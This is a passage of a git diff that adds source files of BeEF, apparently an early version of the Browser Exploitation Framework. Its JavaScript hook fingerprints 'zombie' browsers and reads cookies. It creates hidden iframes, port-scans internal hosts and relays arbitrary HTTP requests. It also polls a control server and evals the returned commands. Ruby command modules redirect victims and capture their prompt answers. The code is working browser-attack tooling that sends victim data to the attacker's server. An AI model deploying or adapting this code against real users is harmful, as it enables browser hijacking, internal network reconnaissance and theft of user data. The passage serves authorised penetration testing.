* Returns true if Chrome 6.
|
||||
* @example: beef.browser.isC6()
|
||||
*/
|
||||
isC6: function() {
|
||||
return !!window.chrome && !!window.webkitPerformance;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome.
|
||||
* @example: beef.browser.isC()
|
||||
*/
|
||||
isC: function() {
|
||||
return this.isC5() || this.isC6();
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera.
|
||||
* @example: beef.browser.isO()
|
||||
*/
|
||||
isO: function() {
|
||||
return !!window.opera;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of browser being used.
|
||||
* @example: beef.browser.type().IE6
|
||||
* @example: beef.browser.type().FF
|
||||
* @example: beef.browser.type().O
|
||||
*/
|
||||
type: function() {
|
||||
|
||||
return {
|
||||
C5: this.isC5(), // Chrome 5
|
||||
C6: this.isC6(), // Chrome 6
|
||||
C: this.isC(), // Chrome any version
|
||||
FF2: this.isFF2(), // Firefox 2
|
||||
FF3: this.isFF3(), // Firefox 3
|
||||
FF35: this.isFF35(), // Firefox 3.5
|
||||
FF36: this.isFF36(), // Firefox 3.6
|
||||
FF4: this.isFF4(), // Firefox 4
|
||||
FF: this.isFF(), // Firefox any version
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
IE7: this.isIE7(), // Internet Explorer 7
|
||||
IE8: this.isIE8(), // Internet Explorer 8
|
||||
IE9: this.isIE9(), // Internet Explorer 9
|
||||
IE: this.isIE(), // Internet Explorer any version
|
||||
O: this.isO(), // Opera any version
|
||||
S: this.isS() // Safari any version
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of browser being used.
|
||||
* @return: {String} User agant software and version.
|
||||
*
|
||||
* @example: beef.browser.getBrowserVersion()
|
||||
*/
|
||||
getBrowserVersion: function() {
|
||||
|
||||
if (this.isC5()) { return '5' }; // Chrome 5
|
||||
if (this.isC6()) { return '6' }; // Chrome 6
|
||||
if (this.isFF2()) { return '2' }; // Firefox 2
|
||||
if (this.isFF3()) { return '3' }; // Firefox 3
|
||||
if (this.isFF35()) { return '3.5' }; // Firefox 3.5
|
||||
if (this.isFF36()) { return '3.6' }; // Firefox 3.6
|
||||
if (this.isFF4()) { return '4' }; // Firefox 4
|
||||
if (this.isIE6()) { return '6' }; // Internet Explorer 6
|
||||
if (this.isIE7()) { return '7' }; // Internet Explorer 7
|
||||
if (this.isIE8()) { return '8' }; // Internet Explorer 8
|
||||
if (this.isIE9()) { return '9' }; // Internet Explorer 9
|
||||
return 'UNKNOWN'; // Unknown UA
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the type of user angent by hooked browser.
|
||||
* @return: {String} User agent software.
|
||||
*
|
||||
* @example: beef.browser.getBrowserName()
|
||||
*/
|
||||
getBrowserName: function() {
|
||||
|
||||
if (this.isC()) { return 'C' }; // Chrome any version
|
||||
if (this.isFF()) { return 'FF' }; // Firefox any version
|
||||
if (this.isIE()) { return 'IE' }; // Internet Explorer any version
|
||||
if (this.isO()) { return 'O' }; // Opera any version
|
||||
if (this.isS()) { return 'S' }; // Safari any version
|
||||
return 'UNKNOWN'; // Unknown UA
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has flash installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasFlash()) { ... }
|
||||
*/
|
||||
hasFlash: function() {
|
||||
if (!this.type().IE) {
|
||||
return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
|
||||
} else {
|
||||
flash_versions = 10;
|
||||
flash_installed = false;
|
||||
|
||||
if (window.ActiveXObject) {
|
||||
for (x = 2; x <= flash_versions; x++) {
|
||||
try {
|
||||
Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
|
||||
if (Flash) {
|
||||
flash_installed = true;
|
||||
}
|
||||
}
|
||||
catch(e) { }
|
||||
}
|
||||
};
|
||||
return flash_installed;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has Java installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasJava()) { ... }
|
||||
*/
|
||||
hasJava: function() {
|
||||
if(window.navigator.javaEnabled()) {
|
||||
//Java is switched on in the browser, now need to detect whether or not its installed
|
||||
if (document.getElementsByTagName("head")[0])
|
||||
{
|
||||
var ns = document.createElement('script');
|
||||
ns.type = 'text/javascript';
|
||||
ns.src = 'http://java.com/js/deployJava.js';
|
||||
document.getElementsByTagName('head')[0].appendChild(ns);
|
||||
if (deployJava && deployJava.versionCheck)
|
||||
{
|
||||
try {
|
||||
return deployJava.versionCheck('0.1+');
|
||||
} catch (e) {}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has VBScript enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasVBScript()) { ... }
|
||||
*/
|
||||
hasVBScript: function() {
|
||||
if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the list of plugins installed in the browser.
|
||||
*/
|
||||
getPlugins: function() {
|
||||
var results = '';
|
||||
|
||||
if (navigator.plugins && navigator.plugins.length > 0) {
|
||||
var pluginsArrayLength = navigator.plugins.length;
|
||||
|
||||
for (pluginsArrayCounter=0; pluginsArrayCounter < pluginsArrayLength; pluginsArrayCounter++ ) {
|
||||
results += navigator.plugins[pluginsArrayCounter].name;
|
||||
if(pluginsArrayCounter < pluginsArrayLength-1) {
|
||||
results += String.fromCharCode(10);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns zombie screen size and color depth.
|
||||
*/
|
||||
getScreenParams: function() {
|
||||
return {
|
||||
width: window.screen.width,
|
||||
height: window.screen.height,
|
||||
colordepth: window.screen.colorDepth
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns zombie browser window size.
|
||||
* @from http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
|
||||
*/
|
||||
getWindowSize: function() {
|
||||
var myWidth = 0, myHeight = 0;
|
||||
if( typeof( window.innerWidth ) == 'number' ) {
|
||||
// Non-IE
|
||||
myWidth = window.innerWidth;
|
||||
myHeight = window.innerHeight;
|
||||
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
|
||||
// IE 6+ in 'standards compliant mode'
|
||||
myWidth = document.documentElement.clientWidth;
|
||||
myHeight = document.documentElement.clientHeight;
|
||||
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
|
||||
// IE 4 compatible
|
||||
myWidth = document.body.clientWidth;
|
||||
myHeight = document.body.clientHeight;
|
||||
}
|
||||
return {
|
||||
width: myWidth,
|
||||
height: myHeight
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Construct hash from browser details. This function is used to grab the browser details during the hooking process
|
||||
*/
|
||||
getDetails: function() {
|
||||
var details = new Array();
|
||||
|
||||
details["BrowserName"] = beef.browser.getBrowserName();
|
||||
details["BrowserVersion"] = beef.browser.getBrowserVersion();
|
||||
details["BrowserReportedName"] = beef.browser.getBrowserReportedName();
|
||||
|
||||
return details;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.browser');
|
||||
95
modules/beefjs/browser/cookie.js
Normal file
@@ -0,0 +1,95 @@
|
||||
/*!
|
||||
* @literal object: beef.browser.cookie
|
||||
*
|
||||
* Provides fuctions for working with cookies.
|
||||
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
|
||||
* Original author unknown.
|
||||
*
|
||||
*/
|
||||
beef.browser.cookie = {
|
||||
|
||||
setCookie: function (name, value, expires, path, domain, secure)
|
||||
{
|
||||
|
||||
var today = new Date();
|
||||
today.setTime( today.getTime() );
|
||||
|
||||
if ( expires )
|
||||
{
|
||||
expires = expires * 1000 * 60 * 60 * 24;
|
||||
}
|
||||
var expires_date = new Date( today.getTime() + (expires) );
|
||||
|
||||
document.cookie = name + "=" +escape( value ) +
|
||||
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
|
||||
( ( path ) ? ";path=" + path : "" ) +
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
( ( secure ) ? ";secure" : "" );
|
||||
},
|
||||
|
||||
getCookie: function(name)
|
||||
{
|
||||
var a_all_cookies = document.cookie.split( ';' );
|
||||
var a_temp_cookie = '';
|
||||
var cookie_name = '';
|
||||
var cookie_value = '';
|
||||
var b_cookie_found = false;
|
||||
|
||||
for ( i = 0; i < a_all_cookies.length; i++ )
|
||||
{
|
||||
a_temp_cookie = a_all_cookies[i].split( '=' );
|
||||
cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
|
||||
if ( cookie_name == name )
|
||||
{
|
||||
b_cookie_found = true;
|
||||
if ( a_temp_cookie.length > 1 )
|
||||
{
|
||||
cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
|
||||
}
|
||||
return cookie_value;
|
||||
break;
|
||||
}
|
||||
a_temp_cookie = null;
|
||||
cookie_name = '';
|
||||
}
|
||||
if ( !b_cookie_found )
|
||||
{
|
||||
return null;
|
||||
}
|
||||
},
|
||||
|
||||
deleteCookie: function (name, path, domain)
|
||||
{
|
||||
if ( this.getCookie(name) ) document.cookie = name + "=" +
|
||||
( ( path ) ? ";path=" + path : "") +
|
||||
( ( domain ) ? ";domain=" + domain : "" ) +
|
||||
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
|
||||
},
|
||||
|
||||
hasSessionCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', '', '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
return cookiesEnabled;
|
||||
|
||||
},
|
||||
|
||||
hasPersistentCookies: function (name)
|
||||
{
|
||||
var name = name || "cookie";
|
||||
if (name == "") name = "cookie";
|
||||
this.setCookie( name, 'none', 1, '/', '', '' );
|
||||
|
||||
cookiesEnabled = (this.getCookie(name) == null)? false:true;
|
||||
this.deleteCookie(name, '/', '');
|
||||
return cookiesEnabled;
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.browser.cookie');
|
||||
57
modules/beefjs/dom.js
Normal file
@@ -0,0 +1,57 @@
|
||||
/*!
|
||||
* @literal object: beef.dom
|
||||
*
|
||||
* Provides functionalities to manipulate the DOM.
|
||||
*/
|
||||
beef.dom = {
|
||||
|
||||
/**
|
||||
* Creates a new element but does not append it to the DOM.
|
||||
* @param: {String} the name of the element.
|
||||
* @param: {Literal Object} the attributes of that element.
|
||||
* @return: the created element.
|
||||
*/
|
||||
createElement: function(type, attributes) {
|
||||
var el = document.createElement(type);
|
||||
|
||||
for(index in attributes) {
|
||||
if(typeof attributes[index] == 'string') {
|
||||
el.setAttribute(index, attributes[index]);
|
||||
}
|
||||
}
|
||||
|
||||
return el;
|
||||
},
|
||||
|
||||
/**
|
||||
* Creates an invisible iframe on the zombie's page.
|
||||
* @return: the iframe.
|
||||
*/
|
||||
createInvisibleIframe: function() {
|
||||
var iframe = this.createElement('iframe', {
|
||||
width: '1px',
|
||||
height: '1px',
|
||||
style: 'visibility:hidden;'
|
||||
});
|
||||
|
||||
document.body.appendChild(iframe);
|
||||
|
||||
return iframe;
|
||||
},
|
||||
|
||||
/**
|
||||
* Get links of the current page.
|
||||
* @return: array of URLs.
|
||||
*/
|
||||
getLinks: function() {
|
||||
var linksarray = [];
|
||||
var links = document.links;
|
||||
for(var i = 0; i<links.length; i++) {
|
||||
linksarray = linksarray.concat(links[i].href)
|
||||
};
|
||||
return linksarray
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.dom');
|
||||
70
modules/beefjs/encode/base64.js
Normal file
@@ -0,0 +1,70 @@
|
||||
// Base64 code from Tyler Akins -- http://rumkin.com
|
||||
|
||||
beef.encode = {};
|
||||
|
||||
beef.encode.base64 = {
|
||||
|
||||
keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
encode: function(input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
do {
|
||||
chr1 = input.charCodeAt(i++);
|
||||
chr2 = input.charCodeAt(i++);
|
||||
chr3 = input.charCodeAt(i++);
|
||||
|
||||
enc1 = chr1 >> 2;
|
||||
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
||||
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
||||
enc4 = chr3 & 63;
|
||||
|
||||
if (isNaN(chr2)) {
|
||||
enc3 = enc4 = 64;
|
||||
} else if (isNaN(chr3)) {
|
||||
enc4 = 64;
|
||||
}
|
||||
|
||||
output = output + this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) + this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
|
||||
} while (i < input.length);
|
||||
|
||||
return output;
|
||||
},
|
||||
|
||||
decode: function(input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
|
||||
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
|
||||
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
|
||||
|
||||
do {
|
||||
enc1 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc2 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc3 = this.keyStr.indexOf(input.charAt(i++));
|
||||
enc4 = this.keyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
} while (i < input.length);
|
||||
|
||||
return output;
|
||||
}
|
||||
}
|
||||
|
||||
beef.regCmp('beef.encode.base64');
|
||||
16
modules/beefjs/init.js
Normal file
@@ -0,0 +1,16 @@
|
||||
|
||||
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
|
||||
// and will have a new session id. The new session id will need to know
|
||||
// the brwoser details. So sendback the browser details again.
|
||||
if( beef.pageIsLoaded ) {
|
||||
beef.net.sendback_browser_details();
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
if (!beef.pageIsLoaded) {
|
||||
beef.pageIsLoaded = true;
|
||||
beef.net.sendback_browser_details()
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
}
|
||||
}
|
||||
145
modules/beefjs/net.js
Normal file
@@ -0,0 +1,145 @@
|
||||
/*!
|
||||
* @literal object: beef.net
|
||||
*
|
||||
* Provides basic networking functions.
|
||||
*/
|
||||
beef.net = {
|
||||
|
||||
beef_url: "<%= @beef_url %>",
|
||||
beef_hook: "<%= @beef_hook %>",
|
||||
|
||||
/**
|
||||
* Gets an object that can be used for ajax requests.
|
||||
*
|
||||
* @example: var http = beef.net.get_ajax();
|
||||
*/
|
||||
get_ajax: function() {
|
||||
|
||||
// try objects
|
||||
try {return new XMLHttpRequest()} catch(e) {};
|
||||
try {return new ActiveXObject('Msxml2.XMLHTTP')} catch(e) {};
|
||||
try {return new ActiveXObject('Microsoft.XMLHTTP')} catch(e) {};
|
||||
|
||||
// unsupported browser
|
||||
console.log('You browser is not supported')
|
||||
console.log('please provide details to dev team')
|
||||
return false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Build param string from hash.
|
||||
*/
|
||||
construct_params_from_hash: function(param_array) {
|
||||
|
||||
param_str = "";
|
||||
|
||||
for (var param_name in param_array) {
|
||||
param_str = this.construct_params(param_str, param_name, param_array[param_name])
|
||||
}
|
||||
|
||||
return param_str;
|
||||
},
|
||||
|
||||
/**
|
||||
* Build param string.
|
||||
*/
|
||||
construct_params: function(param_str, key, value) {
|
||||
|
||||
// if param_str is not a str make it so
|
||||
if (typeof(param_str) != 'string') param_str = '';
|
||||
|
||||
if (param_str != "" ) { param_str += "&"; } // if not the first param add an '&'
|
||||
param_str += key;
|
||||
param_str += "=";
|
||||
param_str += beef.encode.base64.encode(value);
|
||||
|
||||
return param_str;
|
||||
},
|
||||
|
||||
/**
|
||||
* Performs http requests.
|
||||
* @param: {String} the url to send the request to.
|
||||
* @param: {String} the method to use: GET or POST.
|
||||
* @param: {Function} the handler to callback once the http request has been performed.
|
||||
* @param: {String} the parameters to send for a POST request.
|
||||
*
|
||||
* @example: beef.net.raw_request("http://beef.com/", 'POST', handlerfunction, "param1=value1¶m2=value2");
|
||||
*/
|
||||
raw_request: function(url, method, handler, params) {
|
||||
var http;
|
||||
var method = method || 'POST';
|
||||
var params = params || null;
|
||||
var http = this.get_ajax() || null;
|
||||
|
||||
http.open(method, url, true);
|
||||
|
||||
if(handler) {
|
||||
http.onreadystatechange = function() {
|
||||
if (http.readyState == 4) handler(http.responseText);
|
||||
}
|
||||
}
|
||||
|
||||
http.send(params);
|
||||
|
||||
},
|
||||
|
||||
/**
|
||||
* Performs http requests with browoser id.
|
||||
* @param: {String} the url to send the request to.
|
||||
* @param: {String} the method to use: GET or POST.
|
||||
* @param: {Function} the handler to callback once the http request has been performed.
|
||||
* @param: {String} the parameters to send for a POST request.
|
||||
*
|
||||
* @example: beef.net.request("http://beef.com/", 'POST', handlerfunction, "param1=value1¶m2=value2");
|
||||
*/
|
||||
request: function(url, method, handler, params) {
|
||||
params += '&BEEFHOOK=' + BEEFHOOK; // append browser id
|
||||
this.raw_request(url, method, handler, params);
|
||||
},
|
||||
|
||||
/**
|
||||
* Send browser details back to the framework. This function will gather the details
|
||||
* and send them back to the framework
|
||||
*
|
||||
* @example: beef.net.sendback_browser_details();
|
||||
*/
|
||||
sendback_browser_details: function() {
|
||||
// get hash of browser details
|
||||
var details = beef.browser.getDetails();
|
||||
|
||||
// contruct param string
|
||||
var params = this.construct_params_from_hash(details);
|
||||
|
||||
// return data to the framework
|
||||
this.sendback("/init", 0, params);
|
||||
},
|
||||
|
||||
/**
|
||||
* Sends results back to the BeEF framework.
|
||||
* @param: {String} The url to return the results to.
|
||||
* @param: {Integer} The command id that launched the command module.
|
||||
* @param: {String/Object} The results to send back.
|
||||
* @param: {Function} the handler to callback once the http request has been performed.
|
||||
*
|
||||
* @example: beef.net.sendback("/commandmodule/prompt_dialog.js", 19, "answer=zombie_answer");
|
||||
*/
|
||||
sendback: function(commandmodule, command_id, results, handler) {
|
||||
if(typeof results == 'object') {
|
||||
s_results = '';
|
||||
|
||||
for(key in results) {
|
||||
s_results += key + '=' + escape(results[key].toString()) + '&';
|
||||
}
|
||||
|
||||
results = s_results;
|
||||
}
|
||||
|
||||
if(typeof results == 'string' && typeof command_id == 'number') {
|
||||
results += '&command_id='+command_id;
|
||||
this.request(this.beef_url + commandmodule, 'POST', handler, results);
|
||||
}
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net');
|
||||
44
modules/beefjs/net/local.js
Normal file
@@ -0,0 +1,44 @@
|
||||
/*!
|
||||
* @literal object: beef.net.local
|
||||
*
|
||||
* Provides networking functions for the local/internal network of the zombie.
|
||||
*/
|
||||
beef.net.local = {
|
||||
|
||||
sock: new java.net.Socket(),
|
||||
|
||||
/**
|
||||
* Returns the internal IP address of the zombie.
|
||||
* @return: {String} the internal ip of the zombie.
|
||||
* @error: return -1 if the internal ip cannot be retrieved.
|
||||
*/
|
||||
getLocalAddress: function() {
|
||||
if(! beef.browser.hasJava()) return -1;
|
||||
|
||||
try {
|
||||
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
|
||||
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
|
||||
|
||||
return this.sock.getLocalAddress().getHostAddress();
|
||||
} catch(e) { return -1; }
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the internal hostname of the zombie.
|
||||
* @return: {String} the internal hostname of the zombie.
|
||||
* @error: return -1 if the hostname cannot be retrieved.
|
||||
*/
|
||||
getLocalHostname: function() {
|
||||
if(! beef.browser.hasJava()) return -1;
|
||||
|
||||
try {
|
||||
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
|
||||
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
|
||||
|
||||
return this.sock.getLocalAddress().getHostName();
|
||||
} catch(e) { return -1; }
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.local');
|
||||
48
modules/beefjs/net/portscanner.js
Normal file
@@ -0,0 +1,48 @@
|
||||
/*!
|
||||
* @literal object: beef.net.portscanner
|
||||
*
|
||||
* Provides port scanning functions for the zombie. A mod of pdp's scanner
|
||||
*
|
||||
* Version: '0.1',
|
||||
* author: 'Petko Petkov',
|
||||
* homepage: 'http://www.gnucitizen.org'
|
||||
*/
|
||||
|
||||
beef.net.portscanner = {
|
||||
|
||||
scanPort: function(callback, target, port, timeout)
|
||||
{
|
||||
var timeout = (timeout == null)?100:timeout;
|
||||
var img = new Image();
|
||||
|
||||
img.onerror = function () {
|
||||
if (!img) return;
|
||||
img = undefined;
|
||||
callback(target, port, 'open');
|
||||
};
|
||||
|
||||
img.onload = img.onerror;
|
||||
|
||||
img.src = 'http://' + target + ':' + port;
|
||||
|
||||
setTimeout(function () {
|
||||
if (!img) return;
|
||||
img = undefined;
|
||||
callback(target, port, 'closed');
|
||||
}, timeout);
|
||||
|
||||
},
|
||||
|
||||
scanTarget: function(callback, target, ports_str, timeout)
|
||||
{
|
||||
var ports = ports_str.split(",");
|
||||
|
||||
for (index = 0; index < ports.length; index++) {
|
||||
this.scanPort(callback, target, ports[index], timeout);
|
||||
};
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.portscanner');
|
||||
|
||||
54
modules/beefjs/net/requester.js
Normal file
@@ -0,0 +1,54 @@
|
||||
/*!
|
||||
* @literal object: beef.net.requester
|
||||
*
|
||||
* request object structure:
|
||||
* + method: {String} HTTP method to use (GET or POST).
|
||||
* + host: {String} hostname
|
||||
* + query_string: {String} The query string is a part of the URL which is passed to the program.
|
||||
* + uri: {String} The URI syntax consists of a URI scheme name.
|
||||
* + headers: {Array} contain the operating parameters of the HTTP request.
|
||||
*/
|
||||
beef.net.requester = {
|
||||
|
||||
handler: "requester",
|
||||
|
||||
send: function(requests_array) {
|
||||
var http = beef.net.get_ajax();
|
||||
|
||||
for(i in requests_array) {
|
||||
request = requests_array[i];
|
||||
|
||||
// initializing the connection
|
||||
http.open(request.method, request.uri, true);
|
||||
|
||||
// setting the HTTP headers
|
||||
for(index in request.headers) {
|
||||
http.setRequestHeader(index, request.headers[index]);
|
||||
}
|
||||
|
||||
http.onreadystatechange = function() {
|
||||
if (http.readyState == 4) {
|
||||
headers = http.getAllResponseHeaders();
|
||||
body = http.responseText;
|
||||
|
||||
// sending the results back to the framework
|
||||
beef.net.request(
|
||||
beef.net.beef_url+'/'+beef.net.requester.handler,
|
||||
'POST',
|
||||
null,
|
||||
"id="+request.id+"&body="+escape(headers+"\n\n"+body)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if(request.method == 'POST' && request.params) {
|
||||
http.send(request.params);
|
||||
} else {
|
||||
http.send(null);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.requester');
|
||||
89
modules/beefjs/updater.js
Normal file
@@ -0,0 +1,89 @@
|
||||
/*!
|
||||
* @Literal object: beef.updater
|
||||
*
|
||||
* Object in charge of getting new commands from the BeEF framework and execute them.
|
||||
*/
|
||||
beef.updater = {
|
||||
|
||||
// Low timeouts combined with the way the framework sends commamd modules result
|
||||
// in instructions being sent repeatedly or complex code.
|
||||
// If you suffer from ADHD, you can decrease this setting.
|
||||
timeout: 10000,
|
||||
|
||||
// A lock.
|
||||
lock: false,
|
||||
|
||||
// An object containing all values to be registered and sent by the updater.
|
||||
objects: new Object(),
|
||||
|
||||
/*
|
||||
* Registers an object to always send when requesting new commands to the framework.
|
||||
* @param: {String} the name of the object.
|
||||
* @param: {String} the value of that object.
|
||||
*
|
||||
* @example: beef.updater.regObject('java_enabled', 'true');
|
||||
*/
|
||||
regObject: function(key, value) {
|
||||
this.objects[key] = escape(value);
|
||||
},
|
||||
|
||||
// Checks for new commands from the framework and runs them.
|
||||
check: function() {
|
||||
if(this.lock == false) {
|
||||
if(beef.commands.length > 0) {
|
||||
this.execute_commands();
|
||||
} else {
|
||||
this.get_commands();
|
||||
}
|
||||
}
|
||||
|
||||
setTimeout("beef.updater.check();", beef.updater.timeout);
|
||||
},
|
||||
|
||||
// Gets new commands from the framework.
|
||||
get_commands: function(http_response) {
|
||||
try {
|
||||
this.lock = true;
|
||||
beef.net.request(
|
||||
beef.net.beef_url + beef.net.beef_hook,
|
||||
'POST',
|
||||
function(response) { if(response.length > 0) {eval(response); beef.updater.execute_commands();} },
|
||||
beef.updater.build_updater_params()
|
||||
);
|
||||
} catch(e) {
|
||||
this.lock = false;
|
||||
return;
|
||||
}
|
||||
|
||||
this.lock = false;
|
||||
},
|
||||
|
||||
// Builds the POST parameters to send back to the framework when requesting new commands.
|
||||
build_updater_params: function() {
|
||||
ret = 'beef_js_cmps=' + beef.components.join(',')
|
||||
|
||||
for(key in this.objects) {
|
||||
ret += '&' + key + '=' + escape(this.objects[key]);
|
||||
}
|
||||
|
||||
return ret;
|
||||
},
|
||||
|
||||
// Executes the received commands if any.
|
||||
execute_commands: function() {
|
||||
if(beef.commands.length == 0) return;
|
||||
|
||||
this.lock = true;
|
||||
|
||||
while(beef.commands.length > 0) {
|
||||
command = beef.commands.pop();
|
||||
try {
|
||||
command();
|
||||
} catch(e) {}
|
||||
}
|
||||
|
||||
this.lock = false;
|
||||
}
|
||||
}
|
||||
|
||||
beef.regCmp('beef.updater');
|
||||
6
modules/commands/browser/site_redirect/site_redirect.js
Normal file
@@ -0,0 +1,6 @@
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape('Redirected to: <%= @redirect_url %>'), function(){window.location = "<%= @redirect_url %>"});
|
||||
|
||||
});
|
||||
|
||||
36
modules/commands/browser/site_redirect/site_redirect.rb
Normal file
@@ -0,0 +1,36 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
class Site_redirect < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Site Redirect',
|
||||
'Description' => %Q{
|
||||
This module will redirect the selected zombie browsers to the address
|
||||
specified in the 'Redirect URL' input.
|
||||
},
|
||||
'Category' => 'Browser',
|
||||
'Author' => ['wade', 'vo'],
|
||||
'Data' => [
|
||||
['ui_label'=>'Redirect URL', 'name'=>'redirect_url', 'value'=>'http://www.bindshell.net/', 'width'=>'200px']
|
||||
],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||
}
|
||||
})
|
||||
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
5
modules/commands/misc/alert_dialog/alert_dialog.js
Normal file
@@ -0,0 +1,5 @@
|
||||
beef.execute(function() {
|
||||
alert("<%== format_multiline(@text) %>");
|
||||
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multiline(@text) %>");
|
||||
});
|
||||
39
modules/commands/misc/alert_dialog/alert_dialog.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Alert_dialog < BeEF::Command
|
||||
|
||||
#
|
||||
# Defines and set up the command module.
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Alert Dialog',
|
||||
'Description' => 'Sends an alert dialog to the victim',
|
||||
'Category' => 'Misc',
|
||||
'Author' => 'bm',
|
||||
'Data' => [['name' => 'text', 'ui_label'=>'Alert text', 'type' => 'textarea', 'value' =>'BeEF', 'width' => '400px', 'height' => '100px']],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||
}
|
||||
})
|
||||
|
||||
# This tells the framework to use the file 'alert.js' as the command module instructions.
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['User Response'] = "The user clicked the 'OK' button when presented with an alert box saying: '"
|
||||
content['User Response'] += @datastore['text'] + "'"
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
5
modules/commands/misc/prompt_dialog/prompt_dialog.js
Normal file
@@ -0,0 +1,5 @@
|
||||
beef.execute(function() {
|
||||
|
||||
var answer = prompt("<%== @question %>","")
|
||||
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'answer='+escape(answer));
|
||||
});
|
||||
39
